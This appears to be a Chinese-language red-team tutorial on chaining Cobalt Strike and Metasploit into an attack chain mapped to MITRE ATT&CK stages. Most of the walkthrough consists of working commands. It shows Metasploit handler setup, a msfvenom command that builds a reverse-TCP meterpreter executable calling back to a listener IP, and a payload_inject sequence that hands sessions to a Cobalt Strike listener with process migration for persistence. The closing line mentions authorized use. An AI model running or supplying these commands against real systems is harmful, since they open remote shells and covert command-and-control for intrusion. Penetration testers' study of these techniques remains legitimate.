引言
在红队演练与渗透测试中,单一工具往往很难兼顾打点速度与持久控制能力。 Cobalt Strike(CS)擅长后渗透管理与隐蔽通信,Metasploit(MSF)则以漏洞利用和多样化 Payload 而闻名。两者结合,可以构建从外网打点到内网控制的完整攻击链,提升团队协作效率与隐蔽性。
两者定位与优势对比
| 工具 | 核心优势 | 常见场景 |
|---|---|---|
| Metasploit | 漏洞利用框架、Payload 生成、快速扫描 | 外网打点、漏洞验证 |
| Cobalt Strike | 后渗透管理、隐蔽通信、团队协作 | 权限维持、横向渗透、隐匿C2 |
简而言之:MSF 更像“破门工具”,CS 则是“潜入后长期驻守的指挥所”。
协同配合模式
- MSF 打点 → CS 接管会话 先用 MSF 漏洞模块获得初始 Shell,反弹到 CS Listener,利用 CS 进行后续渗透与持久化。
- CS Beacon → MSF 利用 CS 建立 Beacon 后,通过 SOCKS 代理让 MSF 在内网中继续利用漏洞。
MITRE ATT&CK 战术阶段映射
| 顺序 | MITRE 战术阶段 | 说明 | 对应 CS/MSF 操作 |
|---|---|---|---|
| 1 | Reconnaissance(侦察) | 收集目标网络与主机信息 | MSF 扫描模块 |
| 2 | Initial Access(初始访问) | 获取初始入口 | MSF Exploit 打点 |
| 3 | Command and Control(C2) | 建立隐蔽通信通道 | 会话转移到 CS Listener |
| 4 | Lateral Movement(横向移动) | 渗透内网其他主机 | CS SOCKS 代理 + MSF 模块 |
| 5 | Persistence(权限维持) | 长期保持访问能力 | CS 持久化脚本 |
典型实战流程
Cobaltstrike派生shell给Metasploit
下面是通过反弹shell连接到CS服务器情况:
- 在metasploit中开启监听器
use exploit/multi/handler #选择工具
set payload windows/meterpreter/reverse_http #设置监听的会话(注意会话类型要和CS的会话一致)
set lhost 192.168.244.140 #设置IP地址(IP地址为kali的监听的机器的IP地址,和CS中保持一致)
set lport 18081 #设置端口(和CS中自定义的端口保持一致)
run #开始监听
-
在CS中配置新的监听器
Payload选择Foreign HTTP,Host与Port需要添加metasploit中设置的ip与端口,配置好后,点击保存按钮。
然后选择上线的目标机器,凭证提权->新建会话,并选择上面新建的监听器。
- 在metasploit中的连接信息
- MSF 收到会话后,即可使用
shell进入交互模式
Metasploit派生shell给Cobaltstrike
- 在Metasploit 创建监听器
use exploit/multi/handler #选择工具
set payload windows/x64/meterpreter/reverse_tcp #设置监听的会话(注意与playload一致)
set lhost 192.168.244.140 #设置IP地址(IP地址为kali的监听的机器的IP地址,和playload中保持一致)
set lport 18083 #设置端口(和playload中自定义的端口保持一致)
run #开始监听
- 创建playload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.244.140 LPORT=18083 -f exe > msfshell.exe
- 把playload放到测试目标机上执行
- 在CS中添加对应的监听器
- 在msf中执行转发命令
meterpreter > background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.244.140 # 填cs服务器ip
set lport 28084 # 填cs服务器端口
set session 2 #通过sessions -q查看刚连接上的session
set DisablePayloadHandler True
# 这个选项会让MSF避免在其内起一个handler来服务你的payload连接,就是告诉MSF我们已经建立了监听器,不需要再新建监听器了
set PrependMigrate True
# 这个设置让MSF前置的shellcode在另一个进程当中运行payload stager,如果被利用的应用程序奔溃或者被用户关闭,这个会帮助Beacon会话存活。
run
- CS中目标服务器上线
流程可视化
攻击链流程图
flowchart TD
A[Reconnaissance - 信息收集 - MSF 扫描探测]
B[Initial Access - 漏洞利用 - MSF Exploit]
C[Command and Control - 会话转移 - CS Listener]
D[Lateral Movement - 内网渗透 - CS SOCKS + MSF 模块]
E[Persistence - 权限维持 - CS 持久化脚本]
A --> B --> C --> D --> E
style A fill:#f4b183,stroke:#333,stroke-width:1px
style B fill:#f4b183,stroke:#333,stroke-width:1px
style C fill:#ffd966,stroke:#333,stroke-width:1px
style D fill:#9dc3e6,stroke:#333,stroke-width:1px
style E fill:#a9d18e,stroke:#333,stroke-width:1px
结语
CS 与 MSF 的组合,构建了“打点 + 控制”的完整攻击链,能极大提升渗透效率和隐蔽性。但在合法授权前提下使用这些技术,既能发现系统薄弱环节,也能帮助防御方完善安全策略。